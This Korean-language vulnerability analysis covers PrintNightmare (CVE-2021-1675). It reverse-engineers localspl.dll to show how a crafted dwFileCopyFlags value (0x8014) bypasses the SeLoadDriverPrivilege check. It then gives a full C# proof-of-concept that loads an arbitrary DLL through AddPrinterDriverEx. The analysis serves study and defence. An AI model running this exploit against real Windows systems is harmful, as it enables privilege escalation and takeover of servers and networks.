영향 받는 버전
Windows Server : 2008(R2 포함), 2012(R2 포함), 2016, 2019, 1909, 2004, 20H2
Windows 7, 8.1, RT 8.1, 10(1607,1909,2004,20H2,21H1)
Windows Print Spooler라는 윈도우의 프린터 작업을 관리해주는 프로세스에서 사용되는 AddPrinterDriverEx() 함수에서 발견된 인증 우회 취약점이다. 공격자는 해당 취약점으로 타겟 서버에 악성 드라이버(DLL)를 설치하여 내부망을 장악할 수 있다.
윈도우가 제공하는 이 서비스는 인쇄 작업을 스풀링하고 프린터와의 상호 작용을 처리한다. 이 서비스를 끄면 인쇄하거나 프린터를 표시할 수 없다. Local System 사용자로 로그온되며, 실행 파일 경로는 'C:\WINDOWS\System32\spoolsv.exe'이다.
해당 취약점이 우회하는 권한은, SeLoadDriverPrivilege에 대한 검사를 이다. 해당 관리자 권한은 Windows에서 제공하는 드라이버를 Load, unload하는 권한을 말한다. 이는 관리자 cmd창에 서 whoami를 통해 현재 프로세스에 대한 어떤 권한(Privilege)를 가지고 있는지 확인할 수 있다.
(1) 이 SeLoadDriverPrivilege권한에 대한 검사를 우회함으로써, 공격자는 원하는 local 또는 printer driver를 설치할 수 있게 된다. 드라이버를 설치할 때, Windows print Spooler 서비스가 해당 드라이버를 로드하여 악성코드를 설치할 수 있도록 한다.

(2) 인증 우회를 위해서는 AddPrinterDriverEx() 함수에 대해서 알아봐야 한다. 해당 함수는 Windows Print Spooler 서비스에서 로컬 또는 원격 프린터 드라이버를 설치하고 구성, 데이터 및 드라이버 파일을 연결한다.
AddPrinterDriverEx()를 실행하려면 아래 매개변수를 필요로 한다.
경로 C:\Windows\System32\localspl.dll
(4) 분석을 위하여 VM을 통해 Windows 10 20h2 버전을 설치하였고, 해당 버전 dll 파일을 분석한다.

localspl.dll은 System32폴더 내에 존재하는 라이브러리이다. 따라서, 해당 폴더에서 분석을 진행하기에는 문제가 생기므로 분석시에만 다른 폴더에 복사하여 진행하도록 한다. 분석 진행은 무료 분석도구인 기드라(Gydra)를 사용. Localspl.dll에서 사용되는 함수 목록을 보면, SplAddPrinterDriverEx()함수가 존재한다.

SplAddPrinterDriverEx()의 기능
여기서 SplAddPrinterDriverEx는 param_1~7의 매개변수를 인자로 받는다. AddPrinterDriverEx함수의 매개변수 중 4번째 매개변수가 dwFileCopyFlags였으므로 param_4로 추정할 수 있다.
여기서 공격자는 param_4변수를 입력을 통해 제어가 가능하다. 또한 해당 변수가 if문의 조건으로 사용되면서 문제가 발생한다.

-의사코드의 if문에 따르면 (param_4 >> 0xf & 1) == 0 인 경우 uVar5가 param_7을 통해 임의의 값을 가지게 되고, 이때 FUN_18001f4d8이 기능하게 된다.
FUN_18001f4d8는 사용자가 SeLoadDriverPrivilege권한이 있는지 확인하는 기능이다. 때문에 공격자가 param_4를 통해 제어한 if문을 실행시키지 않는 것으로 해당 권한에 대한 검사를 우회하는 것 가능해진다.

param_4 if binary code
(5) if문의 param_4(dwFileCopyFlags)가 어떤 동작에 활용되는지 어셈블리 코드로 봐야한다. 여기서 BT 명령어는 Beat Test로, 비트 오프셋에 의해 지정된 비트 위치에서 비트 문자열에서 비트를 선택하고 CF에 비트값을 저장한다. 이때 비트 문자열과 비트 위치는
따라서 비트값(dwFileCopyFlags)이 비트 테스트로 0xf(15비트)가 1이 나오도록 해야 SeLoadDriverPrivilege검사를 건너뛸 수 있다.그렇다면 이제 dwFileCopyFlags의 flags값이 0xf를 통해 1이 나와야 한다.
해당 비트 플래그는 15비트로 바이너리에서 ‘1000 000 001 0100’입니다.
이를 hex로 계산하면 0x8014이므로, 공격자가 flags 값으로 0x8014를 넣으면 성공적으로 권한 검사를 우회할 수 있다. (물론, 다른 비트 플래그로 ‘1’을 도출할 수 있다면 가능함)
해당 코드는 AddPrinterDriverEx()에 0x8014 인 flag 값을 넣었을 경우 dataFile 이 변화되었는지 확인할 수 있도록 해주는 코드이다. 정상적으로 권한 검사를 우회한 경우 아래와 같이 확인할 수 있다.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace CVE_2021_1675
{
class Program
{
private const uint APD_COPY_ALL_FILES = 0x00000004;
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool AddPrinterDriverEx(string pName, uint Level, [In, Out] IntPtr pDriverInfo, uint flags);
public struct DRIVER_INFO_2
{
public uint cVersion;
[MarshalAs(UnmanagedType.LPTStr)]
public string pName;
[MarshalAs(UnmanagedType.LPTStr)]
public string pEnvironment;
[MarshalAs(UnmanagedType.LPTStr)]
public string pDriverPath;
[MarshalAs(UnmanagedType.LPTStr)]
public string pDataFile;
[MarshalAs(UnmanagedType.LPTStr)]
public string pConfigFile;
}
static void Help()
{
Console.WriteLine("Please enter a path to a loaded driver and a DLL");
Console.WriteLine("");
Console.WriteLine("Example: CVE-2021-1675.exe /driverpath:c:\\absolute\\path /dll:c:\\absolute\\path>");
System.Environment.Exit(1);
}
static void AddPrinterDriver(string driverpath, string datafile)
{
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2
{
cVersion = 3,
pName = "Thalpius",
pEnvironment = "Windows x64",
pDriverPath = driverpath,
pDataFile = datafile,
pConfigFile = datafile,
};
uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000;
//uint flags = 0x8000;
IntPtr pLevel2 = Marshal.AllocHGlobal(Marshal.SizeOf(Level2));
Marshal.StructureToPtr(Level2, pLevel2, false);
AddPrinterDriverEx(null, 2, pLevel2, flags);
Marshal.FreeHGlobal(pLevel2);
string fileName = Path.GetFileName(datafile);
for (int i = 1; i <= 10; i++)
{
Level2.pConfigFile = $"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Old\\{i}\\{fileName}";
IntPtr pLevel2_ = Marshal.AllocHGlobal(Marshal.SizeOf(Level2));
Marshal.StructureToPtr(Level2, pLevel2_, false);
AddPrinterDriverEx(null, 2, pLevel2_, flags);
Marshal.FreeHGlobal(pLevel2_);
}
}
static int Main(string[] args)
{
if (args.Length == 0 | args.Length > 2)
{
Help();
}
String argumentDriverPath = args[0].ToString().ToLower();
String argumentDll = args[1].ToString().ToLower();
if (argumentDriverPath.StartsWith("/driverpath:") && argumentDll.StartsWith("/dll:"))
{
String driverPath = argumentDriverPath.Remove(0, 12);
String dataFile = argumentDll.Remove(0, 5);
AddPrinterDriver(driverPath, dataFile);
Console.WriteLine("Vulnerability CVE-2021-1675 executed!");
}
else
{
Help();
}
return 0;
}
}
}
REF
-https://msrc.microsoft.com/update-guide/ko-kr/vulnerability/CVE-2021-1675
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675
-https://nvd.nist.gov/vuln/detail/CVE-2021-1675
-https://www.kb.cert.org/vuls/id/383432
-https://packetstormsecurity.com/files/163349/Microsoft-PrintNightmare-Proof-Of-Concept.html
-https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/
-https://blog.truesec.com/2021/06/30/exploitable-critical-rce-vulnerability-allows-regular-users-to-fully-compromise-active-directory-printnightmare-cve-2021-1675/
-https://github.com/cube0x0/CVE-2021-1675
-https://hackyboiz.github.io/2021/07/01/l0ch/2021-07-01/